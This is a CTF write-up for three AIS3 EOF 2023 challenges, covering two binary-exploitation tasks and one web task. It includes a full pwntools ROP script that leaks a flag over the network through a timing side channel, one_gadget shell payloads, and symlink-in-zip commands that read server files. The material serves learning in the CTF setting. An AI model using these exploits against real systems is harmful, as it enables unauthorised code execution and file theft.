---
# System prepended metadata

title: AIS3 EOF 2023 初賽
tags: [CTF, AIS3]

---

# AIS3 EOF 2023 初賽

## PWN
### real_rop
#### Description
* Challenge [URL](https://share.ctf.zoolab.org/)

* Folder structure:
    ```
    Share
    ├── share
    │   ├── chal
    │   ├── flag
    │   ├── Makefile
    │   ├── real_rop++.c
    │   └── run.sh
    ├── docker-compose.yaml
    ├── Dockerfile
    └── xinetd
    ```
#### Original Code
```cpp!
#include <unistd.h>

int main()
{
    char buf[0x10];

    read(0, buf, 0x30);
    write(1, buf, 0x30);
    
    return 0;
}
```
```make!
gcc -fno-stack-protector -o chal real_rop++.c
```
* Obviously buffer overflow but not much
* Preliminary idea is `one_gadget`
* Check protector
    ```bash!
    $ checksec chal
    [*] '/home/sbk6401/CTF/AIS3/PWN/real_rop/share/chal'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled
    ```
* `PIE` is enabled → use write function to leak `libc` address
* `Full RELRO` → cannot use `GOT hijacking`
* Refer to [大神write up](https://hackmd.io/Prmz9YuOQsiHGXrTuYMzFw?view#Real_rop), we cannot leak `libc` address and get shell at one time. So, we can control `$rip` and return to the beginning of `main` function and go through the process again. That is, <font color="FF0000">we have another `read` function</font> to fill in `one_gadget`.
* Note that, **the version of Ubuntu and Glibc is VERY VERY important**, according to `Dockerfile`, it seems use Ubuntu 20.04 with default
    ```dockerfile!
    FROM ubuntu:20.04
    MAINTAINER u1f383

    RUN apt-get update && \
        DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

    RUN useradd -m chal
    RUN chown -R root:root /home/chal
    RUN chmod -R 755 /home/chal

    CMD ["/usr/sbin/xinetd", "-dontfork"]
    ```

#### Analyze where to return
* <font color="FF0000">**`For Ubuntu 22.04 &　GLIBC 2.35` - back to `__libc_start_main+121`**</font>
    ```bash!
    $ gdb chal
    pwndbg> starti
    pwndbg> vmmap
    ```
    ![](https://imgur.com/gZjkjR0.png)

    ```bash!
    pwndbg> b _start
    Breakpoint 15 at 0x555555555080 (2 locations)
    pwndbg> c
    ```
    ![](https://imgur.com/T7ZR1or.png)

    ```bash!
    pwndbg> pwndbg> b __libc_start_main
    Breakpoint 16 at 0x7ffff7db8dc0: file ../csu/libc-start.c, line 242.
    pwndbg> c
    pwndbg> ni    # until <__libc_start_main+123>
    ```
    ![](https://imgur.com/mts1hQW.png)
    ```bash!
    pwndbg> s
    pwndbg> ni    # until <__libc_start_main+123>
    ```
    ![](https://imgur.com/iht55Ot.png)
    ```bash!
    pwndbg> s
    ```
    ![](https://imgur.com/9V30ok9.png)
    ```bash!
    pwndbg> ni    # until <main+62>
    ```
    ![](https://imgur.com/IxTG2nC.png)

    ### Overall, the sequence is:
    ```bash!
    _start → 0x0000555555555080
    __libc_start_main+123 → 0x00007ffff7db8e3b
    __libc_start_call_main+126 → 0x00007ffff7db8d8e
    ```
    ```bash!
    _start
    ...
    _start+31
    ↓
        __libc_start_main
        ...
        __libc_start_main+123
        ↓
            __libc_start_call_main
            ...
            __libc_start_call_main+126
            ↓
                main
                ...
            __libc_start_call_main+128
            __libc_start_call_main+130
            ↓
                exit
    ```

* <font color="FF0000">**`For Ubuntu 20.04 &　GLIBC 2.31` - back to `__libc_start_main+236`**</font>
Whole processes are almost the same as above, just the sequence is different
    ### Overall, the sequence is:
    ```bash!
    _start
    ...
    _start+40
    ↓
        __libc_start_main
        ...
        __libc_start_main+241
        ↓
            main
            ...
        __libc_start_main+243
        __libc_start_main+245
        ↓
            exit
    ```
    ![](https://imgur.com/kemHGjG.png)


#### Exploit - leak `libc` address + one_gadget
<font color="FF0000">Use Ubuntu 20.04 that the same as remote server</font>
1. Try to control `$rip` and return to beginning
We can observe stack at the end of `main` function. It'll always return to `__libc_start_main+243`. Therefore, we can padding garbage bytes and overlap the last byte of `$rip`.
![](https://imgur.com/qwhZ1qq.png)
    ```python!
    payload = p64(0) * 3 + int.to_bytes(124, 1, 'little')
    ```
    According to the derivation of last section, we should return to `__libc_start_main+236`(the address is `0x7ffff7df007c` for temp) and the address of `__libc_start_main+243` is `0x7ffff7df0083`(temp), so that we just modify the last bytes → $0x73=124$
    ![](https://imgur.com/y4TJSWo.png)

2. Try to leak `libc` offset - `write` function + `gdb`
We can observe stack situation before sending payload. The first 3\*8 bytes are garbage bytes that we filled at first round.
![](https://imgur.com/Dm0nZBn.png)
    ```python!
    r.recv(0x18)
    libc_addr = u64(r.recv(6) + b'\x00\x00') - 0x24083 + 0x7
    ```
    Skip garbage bytes first then receive 6 bytes. Note that `- 0x24083 + 0x7` is try and error so that it can be `0x7f07a24fb00`(temp) checked by `vmmap`.
    ![](https://imgur.com/igQeoUJ.png)

3. Construct `one_gadget`
Use `vmmap` to check which `libc` version be used - <font color="FF0000">`/lib/x86_64-linux-gnu/libc-2.31.so`</font>
![](https://imgur.com/2hTs3o4.png)
    ```bash!
    $ one_gadget /lib/x86_64-linux-gnu/libc-2.31.so
    ...
    0xe3afe execve("/bin/sh", r15, r12)
    constraints:
      [r15] == NULL || r15 == NULL
      [r12] == NULL || r12 == NULL
    ...
    $ ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.31.so --only "pop|ret" --multibr > one_gadget
    $ vim one_gadget
    ```
    ```python!
    pop_r15_ret = libc_addr + 0x2a3e4
    pop_r12_ret = libc_addr + 0x2f709
    r.send(p64(0) * 3 + p64(pop_r12_ret) + p64(0) + p64(libc_addr+0xe3afe))
    ```
    <font color="FF0000">Note that</font> `$r15` has NULL already before `read` function, so it's no need to send `pop_r15_ret`.
    ![](https://imgur.com/SK0U7Mn.png)
4. Then we got shell!!!
![](https://imgur.com/3zRhmUG.png)


#### Reference
[gdb指令](https://lu-yi-hsun.github.io/posts/reverse/gdb/#dwarf)
[Linux中誰來呼叫C語言中的main?](http://wen00072.github.io/blog/2015/02/14/main-linux-whos-going-to-call-in-c-language/)
[Docker exec 命令](https://www.runoob.com/docker/docker-exec-command.html)
### how2know_revenge
#### Description
* Challenge: `nc edu-ctf.zoolab.org 10012`
* Environment Version: Ubuntu 20.04
* Folder structure:
    ```
    Share
    ├── share
    │   ├── chal
    │   ├── flag
    │   ├── Makefile
    │   ├── how2know_revenge.c
    │   └── run.sh
    ├── docker-compose.yaml
    ├── Dockerfile
    └── xinetd
    ```

#### Original Code
```cpp!=
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>

static char flag[0x30];

int main()
{
    char addr[0x10];
    int fd;
    scmp_filter_ctx ctx;

    fd = open("/home/chal/flag", O_RDONLY);
    if (fd == -1)
        perror("open"), exit(1);
    read(fd, flag, 0x30);
    close(fd);

    write(1, "talk is cheap, show me the rop\n", 31);
    read(0, addr, 0x1000);

    ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);

    return 0;
    
}
```
```bash!
$ gcc -static -fno-stack-protector -o chal how2know_revenge.c -lseccomp
$  checksec chal
[*] '/home/sbk6401/CTF/AIS3/PWN/how2know_revenge/share/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```
##### Description & Preliminary Idea
The whole process flow is almost the same as [how2know](/jHf3sAfOTveOIguRGXXmwQ). The difference is global variable turned into local variable and it has buffer overflow obviously. So, we can find various `ROP` and access into it and brute force to compare the single char of the flag.

#### Exploit - `ROP` + [how2know](/jHf3sAfOTveOIguRGXXmwQ)
1. Find `flag` address → <font color="FF0000">`0x4de2e0`</font>
    ```bash
    $ objdump -d -M Intel chal | grep "<flag>"
      401cfe:       48 8d 35 db c5 0d 00    lea    0xdc5db(%rip),%rsi        # 4de2e0 <flag>
    ```
2. Create `ROP` chain
    ```bash!
    $ ROPgadget --binary chal --multibr > rop_gadget
    $ vim rop_gadget
    ```
    ```python!
    pop_r14_ret = 0x402797
    mov_eax_dword_ptr_rax_ret = 0x4022ee
    cmp_al_r14b_ret = 0x438c15
    jne_0x426148_ret = 0x426159

    pop_rbx_ret = 0x401fa2
    jmp_rbx = 0x4176fd
    infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx)

    ROP = flat(
                pop_rax_ret, flag_addr+idx,
                mov_eax_dword_ptr_rax_ret,
                pop_r14_ret, guess,
                cmp_al_r14b_ret, 
                jne_0x426148_ret,
    )
    ROP += infinite_loop
    ```
    * Move the flag address to `$rax`, and move the flag string to `$eax` next
    * Then put our guess single char to `$r14`
    * Compare `$al` and `$r14b`
    * If correct, go into infinity loop, otherwise, jump to `0x426148`
3. **How to know the single char in pwntool side?**
When the comparison is correct, it'll access into infinity loop and `recv` function will receive something then break while loop and close the connection, otherwise, it'll jump to `0x426148` and trigger timeout exception.
    ```python!
    r.sendafter(b'rop\n',b'a'*0x28 + ROP)
    try :
        # If compare not correct, guess++ and access to infinity loop
        r.recv(timeout=0.5)
        break
    except:
        # If compare correct, pwntool will break out
        guess += 1
    r.close()
    ```
4. Repeat
    ```python!
    flag = ''
    idx = 0
    while idx < 48:
        guess = 0x20
        while guess < 0x80 :
            r = remote('edu-ctf.zoolab.org', 10012)
            {create ROP}
            r.sendafter(b'rop\n',b'a'*0x28 + ROP)
            try :
                ...
            except:
                ...
            r.close()
        idx += 1
        flag += chr(guess)
    ```
* Whole exploit
    ```python!=
    from pwn import *

    context.arch = 'amd64'

    flag_addr = 0x4de2e0
    pop_r14_ret = 0x402797
    mov_eax_dword_ptr_rax_ret = 0x4022ee
    cmp_al_r14b_ret = 0x438c15
    jne_0x426148_ret = 0x426159

    pop_rbx_ret = 0x401fa2
    jmp_rbx = 0x4176fd
    infinite_loop = p64(pop_rbx_ret) + p64(jmp_rbx) + p64(jmp_rbx)

    flag = ''
    idx = 0
    while idx < 53:
        guess = 0x20
        while guess < 0x80 :
            # r = process('./chal')
            r = remote('edu-ctf.zoolab.org', 10012)
            ROP = flat(
                pop_rax_ret, flag_addr+idx,
                mov_eax_dword_ptr_rax_ret,
                pop_r14_ret, guess,
                cmp_al_r14b_ret, 
                jne_0x426148_ret,
            )
            ROP += infinite_loop

            r.sendafter(b'rop\n',b'a'*0x28 + ROP)
            try :
                # If compare not correct, guess++ and access to infinity loop
                r.recv(timeout=0.5)
                break
            except:
                # If compare correct, pwntool will break out
                guess += 1
            r.close()

        idx += 1
        flag += chr(guess)
        print(flag)
    print(flag)

    r.interactive()
    ```
    * <font color="FF0000">Note that</font>: The exploit program will be affected by the internet connection and caused the result is wrong like this:
    ```
    FLA!{CORORO_f8b7d5d23ad03512P6687384b7a2a/00}
    'LAG{CORORO_f8b7d5d23ad03512d6687384b7a2a500}
    *LAG{C*RORO_f8b7d5d23ad03512d6687384b7a2a500}
    FLAG{CO#/RO_f8b7d5d23ad03512d6687384b7a2a500}
    FLAG{CAMORO_f8b7d5d/3ad03512d6687384!7a2a500xX
    ```
    Thus, you can run much more times to compare the result together so that you can patch up the flag correctly.
#### Reference
[EOF 2023](/SkxNKJBqi#how2_know_revenge)


## Web
### Share
#### Description
* Challenge [URL](https://share.ctf.zoolab.org/)

* Folder structure:
    ```
    Share
    ├── Web
    │   ├── src
    │   │   ├── static
    │   │   │    └── {None}
    │   │   ├── template
    │   │   │    ├── index.html
    │   │   │    └── login.html
    │   │   └── app.py
    │   └── Dockerfile
    ├── docker-compose.yaml
    └── flag
    ```
* This website function is let the user can upload compress folder <font color="FF0000">(\*.zip)</font> and the compress folder must contains a <font color="FF0000">`index.html`</font> file so that it can uncompress the folder then redirect to this new page.
* To solve this question, we must use [<font color="FF0000">**`symbolic link`**</font>](https://youtu.be/jdZsO2GAf2I)

#### Observation
* Main program first - **`app.py`**
This part is aim to unzip the compress folder and redirect to new page - `index.html` that the user provide
    ```python!
    ...
    @app.route('/upload', methods=['POST'])
    def upload_file():
      if 'user' not in session:
        return 'Login first'
      if 'file' not in request.files or not request.files['file'].filename:
        return 'Missing file'

      _sub = session['user']
      file = request.files['file']
      tmppath = path.join('/tmp', urandom(16).hex())
      realpath = safeJoin('/app/static', _sub)
      if not realpath:
        return 'No path traversal'
      if not path.exists(realpath):
        mkdir(realpath)

      file.save(tmppath)
      returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode
      if returncode != 0:
        return 'Not a zip file'
      if not path.isfile(path.join(realpath, 'index.html')):
        return '"index.html" not found'
      return redirect(realpath[4:]+'/index.html', code=302)
    ...
    ```
* **`docker-compose.yaml`**
We can see that the flag is mounted on <font color="FF0000">`/flag.txt`</font>
    ```docker
    version: '3.9'

    services:
      web:
        build: web
        restart: always
        ports:
          - 8080:5000
        volumes:
          - ./flag:/flag.txt:ro
    ```
#### Construct Payload
* So, our first idea is using symbolic link to create a `payload.txt` that link to `/flag.txt` and compress with `index.html` then upload to the web page.
* Payload
    ```bash!
    touch index.html
    ln -s /flag.txt payload.txt
    zip --symlinks -ry index.zip payload.txt index.html
    ```
    Then rewrite the URL like this: https://share.ctf.zoolab.org/static/123/payload.txt

    <font color="FF0000">FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}</font>

#### Reference
[unzipper-ctftime](https://ctftime.org/writeup/31867)
[unzipper-mikecat](https://mikecat.github.io/ctf-writeups/2021/20211218_hxp_CTF_2021/WEB/unzipper/#en)
[unzipper-nandynarwhals](https://nandynarwhals.org/hxp-ctf-2021-unzipper/)
[電腦王-symbolic link](https://www.techbang.com/posts/12538-hard-links-soft-links-archives-does-not-fashu)
[Ithelp - symbolic link](https://ithelp.ithome.com.tw/articles/10222754)